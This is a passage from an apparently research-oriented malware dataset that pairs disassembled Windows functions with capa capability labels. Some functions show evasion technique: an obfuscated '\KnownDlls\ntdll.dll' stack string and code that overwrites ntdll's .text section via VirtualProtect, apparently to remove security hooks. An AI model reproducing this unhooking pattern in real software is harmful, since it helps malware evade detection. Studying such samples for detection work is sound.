joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4732c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x47338a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403740
xorps xmm15, xmm15
mov r14, qword [0x0072aaa8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x47336f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004ae400]
xor ebx, ebx
mov rcx, rdx
call fcn.00444420
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.00473be0
inc rbx
cmp rcx, rbx
jae 0x47335e
mov edi, 1
lea rsi, [0x004ae400]
call fcn.00444500
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004f1a48]
lea rsi, [0x004f1218]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00458740
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004732c0

Function at 0x487ba0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4882df
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x487bcd
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x487e51
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x487e7d
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x004f2ee0]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004ae300]
lea rbx, [0x004f1918]
call fcn.00431a80
inc rax
cmp rax, r8
jge 0x487ea2
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x487ed7
lea rdi, [0x004ae380]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x487bc3
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x487ebb
jmp 0x487e90
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00458740
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.00487ba0

Function at 0x488480
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x488497
inc rax
cmp rax, 4
jge 0x4884af
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x488494
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4884c0
inc rax
cmp rax, 4
jge 0x4884ce
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4884f7
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4884db
jmp 0x4884bd
Function at 0x48a180
Capabilities:
Encode data using base64

Disassembly:
lea r12, [rsp - 0x20]
cmp r12, qword [r14 + 0x10]
jbe 0x48a3ff
push rbp
mov rbp, rsp
sub rsp, 0x98
cmp qword [0x0072a908], 0
jne 0x48a1da
call fcn.00478680
nop
bt rax, 0x3f
jae 0x48a1c6
shl rax, 1
shr rax, 0x1f
movabs rcx, 0xdd7b17f80
lea rbx, [rax + rcx]
movabs rcx, 0xfffffff1886e0900
add rcx, rbx
mov qword [0x0072a908], rcx
mov rax, qword [0x0072a908]
call fcn.00489a20
movabs rcx, 0x484746242340217e
mov qword [rsp + 0x28], rcx
movabs rcx, 0x504f4e4d4c4b4a49
mov qword [rsp + 0x30], rcx
movabs rcx, 0x5857565554535251
mov qword [rsp + 0x38], rcx
movabs rcx, 0x6665646362615a59
mov qword [rsp + 0x40], rcx
movabs rcx, 0x6e6d6c6b6a696867
mov qword [rsp + 0x48], rcx
movabs rcx, 0x257574737271706f
mov qword [rsp + 0x50], rcx
movabs rcx, 0x33323130282a265e
mov qword [rsp + 0x58], rcx
movabs rcx, 0x2f29393837363534
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 0x40
mov qword [rsp + 0x78], 0x40
mov qword [rsp + 0x80], 0x40
jmp 0x48a28f
mov qword [0x006a58d0], rax
cmp qword [rsp + 0x80], 0
je 0x48a33e
mov rax, qword [rsp + 0x80]
nop
call fcn.00489b60
mov rcx, qword [rsp + 0x70]
cmp rax, rcx
jae 0x48a3f9
mov rdx, qword [rsp + 0x68]
movzx ebx, byte [rdx + rax]
jmp 0x48a3a4
mov rcx, qword [rsp + 0x70]
cmp rax, rcx
jae 0x48a3e7
mov rcx, qword [rsp + 0x68]
mov byte [rcx + rax], 0x3d
dec qword [rsp + 0x80]
xor eax, eax
call fcn.00447b80
mov rcx, qword [0x006a58d0]
mov rdx, qword [0x006a58d8]
mov rdi, rax
mov rsi, rbx
xor eax, eax
mov rbx, rcx
mov rcx, rdx
call fcn.00447580
mov qword [0x006a58d8], rbx
cmp dword [0x0072aad0], 0
nop dword [rax]
je 0x48a288
call fcn.0045a680
mov qword [r11], rax
mov rcx, qword [0x006a58d0]
mov qword [r11 + 8], rcx
jmp 0x48a288
movups xmmword [rsp + 0x88], xmm15
mov rax, qword [0x006a58d0]
mov rbx, qword [0x006a58d8]
call fcn.0040a380
lea rcx, [0x004ae300]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
mov rbx, qword [0x006a4b48]
lea rax, [0x004f19a8]
lea rcx, [rsp + 0x88]
mov edi, 1
mov rsi, rdi
call fcn.0047fd80
add rsp, 0x98
pop rbp
ret
mov byte [rdx + rax], dil
mov rax, rsi
mov rdx, qword [rsp + 0x80]
cmp rax, rdx
jge 0x48a2df
lea rsi, [rax + 1]
nop dword [rax]
cmp rdx, rsi
je 0x48a2c8
mov rcx, qword [rsp + 0x70]
cmp rcx, rsi
jbe 0x48a3f1
mov rdx, qword [rsp + 0x68]
movzx edi, byte [rax + rdx + 1]
nop dword [rax]
cmp rax, rcx
jb 0x48a39d
jmp 0x48a3ec
call fcn.0045aa20
call fcn.0045aa20
mov rax, rsi
call fcn.0045aa20
call fcn.0045aa20
nop
nop
call fcn.00458740
jmp fcn.0048a180
Function at 0x498110
Capabilities:
Encode data using xor

Disassembly:
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdx, qword [rsp + 0x20]
test rdx, 0xf
jne 0x49818a
mov rax, 0
nop word [rax + rax]
nop dword [rax]
movdqu xmm0, xmmword [rsi + rax]
movdqu xmm1, xmmword [rcx + rax]
pxor xmm0, xmm1
movdqu xmmword [rbx + rax], xmm0
add rax, 0x10
cmp rdx, rax
jne 0x498140
ret
sub rdx, 1
mov dil, byte [rsi + rdx]
mov al, byte [rcx + rdx]
xor dil, al
mov byte [rbx + rdx], dil
test rdx, 7
jne 0x498160
cmp rdx, 0
je 0x4981ac
test rdx, 0xf
je 0x49812d
test rdx, 7
jne 0x498160
sub rdx, 8
mov rdi, qword [rsi + rdx]
mov rax, qword [rcx + rdx]
xor rdi, rax
mov qword [rbx + rdx], rdi
cmp rdx, 0x10
jge 0x49812d
ret
Function at 0x499b60
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
mov rcx, qword [rsp + 8]
mov rax, qword [rsp + 0x10]
mov rdx, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rbx]
add rax, 0x10
pxor xmm0, xmm1
sub rcx, 0xc
je 0x499b9f
jb 0x499bb4
movups xmm1, xmmword [rax]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x10]
aesdec xmm0, xmm1
add rax, 0x20
movups xmm1, xmmword [rax]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x10]
aesdec xmm0, xmm1
add rax, 0x20
movups xmm1, xmmword [rax]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x10]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x20]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x30]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x40]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x50]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x60]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x70]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x80]
aesdec xmm0, xmm1
movups xmm1, xmmword [rax + 0x90]
aesdeclast xmm0, xmm1
movups xmmword [rdx], xmm0
ret
Function at 0x499c20
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push rbp
mov rbp, rsp
mov rcx, qword [rsp + 0x10]
mov rax, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
add rbx, 0x10
pxor xmm4, xmm4
cmp ecx, 0xc
je 0x499cf4
jb 0x499d53
movups xmm2, xmmword [rax + 0x10]
movups xmmword [rbx], xmm2
add rbx, 0x10
aeskeygenassist xmm1, xmm2, 1
call fcn.00499b00
aeskeygenassist xmm1, xmm0, 1
call fcn.00499b20
aeskeygenassist xmm1, xmm2, 2
call fcn.00499b00
aeskeygenassist xmm1, xmm0, 2
call fcn.00499b20
aeskeygenassist xmm1, xmm2, 4
call fcn.00499b00
aeskeygenassist xmm1, xmm0, 4
call fcn.00499b20
aeskeygenassist xmm1, xmm2, 8
call fcn.00499b00
aeskeygenassist xmm1, xmm0, 8
call fcn.00499b20
aeskeygenassist xmm1, xmm2, 0x10
call fcn.00499b00
aeskeygenassist xmm1, xmm0, 0x10
call fcn.00499b20
aeskeygenassist xmm1, xmm2, 0x20
call fcn.00499b00
aeskeygenassist xmm1, xmm0, 0x20
call fcn.00499b20
aeskeygenassist xmm1, xmm2, 0x40
call fcn.00499b00
jmp 0x499dc1
movq xmm2, qword [rax + 0x10]
aeskeygenassist xmm1, xmm2, 1
call fcn.00499a60
aeskeygenassist xmm1, xmm2, 2
call fcn.00499ac0
aeskeygenassist xmm1, xmm2, 4
call fcn.00499a60
aeskeygenassist xmm1, xmm2, 8
call fcn.00499ac0
aeskeygenassist xmm1, xmm2, 0x10
call fcn.00499a60
aeskeygenassist xmm1, xmm2, 0x20
call fcn.00499ac0
aeskeygenassist xmm1, xmm2, 0x40
call fcn.00499a60
aeskeygenassist xmm1, xmm2, 0x80
call fcn.00499ac0
jmp 0x499dc1
aeskeygenassist xmm1, xmm0, 1
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 2
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 4
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 8
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 0x10
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 0x20
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 0x40
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 0x80
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 0x1b
call fcn.00499a20
aeskeygenassist xmm1, xmm0, 0x36
call fcn.00499a20
sub rbx, 0x10
movups xmm1, xmmword [rbx]
movups xmmword [rdx], xmm1
dec rcx
movups xmm1, xmmword [rbx - 0x10]
aesimc xmm0, xmm1
movups xmmword [rdx + 0x10], xmm0
sub rbx, 0x10
add rdx, 0x10
dec rcx
jne 0x499dce
movups xmm0, xmmword [rbx - 0x10]
movups xmmword [rdx + 0x10], xmm0
pop rbp
ret
Function at 0x1400014ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400014f8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400014f0
cmp dword [rcx + 0x3c], edx
jl 0x1400014f0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1400014f0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x1400014f8
mov rax, rdx
add rsp, 0x18
ret
Function at 0x14002b350
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14002b3de
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
add rax, 0x20
cmp qword [rsp + 0x20], rax
je 0x14002b3de
mov rax, qword [rsp + 0x20]
sub rax, 0x10
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rdx, qword [rax + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14002af10
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.14002abd0
movzx eax, al
test eax, eax
je 0x14002b3cf
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x30]
jmp 0x14002b3e0
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
jmp 0x14002b36f
xor eax, eax
add rsp, 0x48
ret
Function at 0x401f0f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov word [rbp + 0x60], 0x5c
mov word [rbp + 0x62], 0x4b
mov word [rbp + 0x64], 0x6e
mov word [rbp + 0x66], 0x6f
mov word [rbp + 0x68], 0x77
mov word [rbp + 0x6a], 0x6e
mov word [rbp + 0x6c], 0x44
mov word [rbp + 0x6e], 0x6c
mov word [rbp + 0x70], 0x6c
mov word [rbp + 0x72], 0x73
mov word [rbp + 0x74], 0x5c
mov word [rbp + 0x76], 0x6e
mov word [rbp + 0x78], 0x74
mov word [rbp + 0x7a], 0x64
mov word [rbp + 0x7c], 0x6c
mov word [rbp + 0x7e], 0x6c
mov word [rbp + 0x80], 0x2e
mov word [rbp + 0x82], 0x64
mov word [rbp + 0x84], 0x6c
mov word [rbp + 0x86], 0x6c
mov word [rbp + 0x88], 0
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x90]
mov rcx, rax
call sub.ntdll.dll_RtlInitUnicodeString
mov dword [rbp + 0x30], 0x30
mov qword [rbp + 0x38], 0
mov dword [rbp + 0x48], 0x40
lea rax, [rbp + 0x90]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov r9, qword [0x007df040]
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x28]
mov r8, rdx
mov edx, 0xc
mov rcx, rax
call r9
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
test eax, eax
jns 0x402088
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xb0]
lea rdx, [rbp + 0xaf]
mov rcx, rax
call fcn.00401c6c
mov rax, qword [rbp + 0xb0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xb8]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0xd0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.00424a30
mov eax, 0
jmp 0x402173
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x108], 0
mov r10, qword [0x007df038]
mov rcx, qword [rbp + 0x28]
lea rdx, [rbp + 0x18]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rax, [rbp + 0x10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, 0xffffffffffffffff
call r10
mov dword [rbp + 0xc], eax
mov eax, dword [rbp + 0xc]
test eax, eax
jns 0x40216f
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0xdf]
mov rcx, rax
call fcn.00401dbe
mov rax, qword [rbp + 0xe0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0xf8]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x100]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.00424a30
mov eax, 0
jmp 0x402173
mov rax, qword [rbp + 0x18]
add rsp, 0x198
pop rbx
pop rbp
ret
Function at 0x40222f
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
cdqe
add rax, rdx
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
test rax, rax
jne 0x4022b3
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x41]
mov rcx, rax
call fcn.0040217e
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x78], rax
mov eax, dword [rbp - 0x30]
mov dword [rbp - 0x70], eax
lea rax, [rbp - 0x80]
mov rcx, rax
call fcn.00424620
mov eax, 0
jmp 0x4023e6
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + 0x14]
movzx eax, ax
mov rdx, qword [rbp - 0x50]
add rax, rdx
add rax, 0x18
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x54], 0
mov word [rbp - 0x1a], 0
mov rax, qword [rbp - 0x50]
movzx eax, word [rax + 6]
cmp word [rbp - 0x1a], ax
jae 0x4023e6
mov byte [rbp - 0x5a], 0x2e
mov byte [rbp - 0x59], 0x74
mov byte [rbp - 0x58], 0x65
mov byte [rbp - 0x57], 0x78
mov byte [rbp - 0x56], 0x74
mov byte [rbp - 0x55], 0
mov rcx, qword [rbp - 0x18]
lea rax, [rbp - 0x5a]
mov rdx, rax
call sub.ntdll.dll_strcmp
test eax, eax
jne 0x4023df
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x54]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
jne 0x402361
mov eax, 0
jmp 0x4023e6
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 8]
mov ecx, eax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xc]
mov r8d, eax
mov rax, qword [rbp - 8]
add rax, r8
mov r8, rcx
mov rcx, rax
call sub.ntdll.dll_memcpy
mov edx, dword [rbp - 0x54]
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x54]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
jne 0x4023df
mov eax, 0
jmp 0x4023e6
mov eax, 1
jmp 0x4023e6
add rsp, 0xa0
pop rbp
ret
Function at 0x413910
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x007df6c4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x413a98
mov rax, qword [0x007df6c8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x41395c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4139e5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x413940
mov rcx, rbx
call fcn.004145b0
test rax, rax
mov r12, rax
je 0x413acd
mov rax, qword [0x007df6c8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.004146e0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x007df6c8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x413ab0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4139de
sub eax, 0x40
and eax, 0xffffffbf
jne 0x413a40
add dword [0x007df6c4], 1
cmp edi, 8
jae 0x413a13
test dil, 4
jne 0x413a84
test edi, edi
je 0x413a08
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x413a9f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x413a08
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x413a2c
jmp 0x413a08
add rsi, qword [0x007df6c8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4139de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.004ab2d0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x413a08
xor esi, esi
jmp 0x413967
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x413a08
mov rax, qword [0x007df6c8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.004ab2d0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.004ab2d0
nop
nop dword [rax]

Function at 0x414220
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x007df9a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x007df980]
test rbx, rbx
je 0x414274
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x41426b
test rsi, rsi
je 0x41426b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x414250
lea rcx, [0x007df9a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4145b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x007b9550]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x41461d
mov rcx, r8
call fcn.00414490
test eax, eax
je 0x41461d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x41461d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x414614
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x41461f
add rax, 0x28
cmp rax, r9
jne 0x414600
xor eax, eax
add rsp, 0x28
ret

Function at 0x421030
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x007af868], eax
je 0x42104a
add rsp, 0x28
ret
call sub.msvcrt.dll_abort
nop

Function at 0x421550
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
test rcx, rcx
mov rbx, rcx
je 0x421573
call fcn.00420ef0
cmp eax, 1
je 0x42157e
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
lea rbx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rbx + 0x27]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x4215f5
mov eax, 0x28
jmp 0x4215da
add rax, 1
cmp rax, 0x6b
je 0x4215e7
cmp byte [rbx + rax], 0
mov edx, eax
jne 0x4215d0
cmp eax, 0x6a
jne 0x4215fa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov edx, 0x27
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
jmp 0x4215e7
Function at 0x4216a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x007e0480], 1
je 0x4216b6
call fcn.00421610
mov ecx, dword [0x007af868]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x4216e0
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.00421490
cmp qword [0x007e3050], 0
mov rsi, rax
je 0x4216ca
test rax, rax
je 0x4216ca
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rsi + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea rcx, [rsi + 0x68]
mov qword [rsi + 0x38], 0xffffffffffffffff
mov qword [rsi + 0x30], rax
call fcn.00421550
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsi + 0xb8], 0
mov qword [rsi + 0x28], 0
call rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rbx
mov dword [rsp + 0x30], 2
mov r8, rbp
mov rdx, rdi
mov dword [rsp + 0x28], 0
lea r9, [rsi + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x4217d0
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rdx, rsi
mov ecx, dword [0x007af868]
mov dword [rsi + 0xbc], 0
mov dword [rsi + 0xc0], eax
movzx eax, byte [rsi + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rsi + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x4217d0
mov rbx, rsi
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sub.msvcrt.dll_abort
nop
nop word cs:[rax + rax]
Function at 0x475e00
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
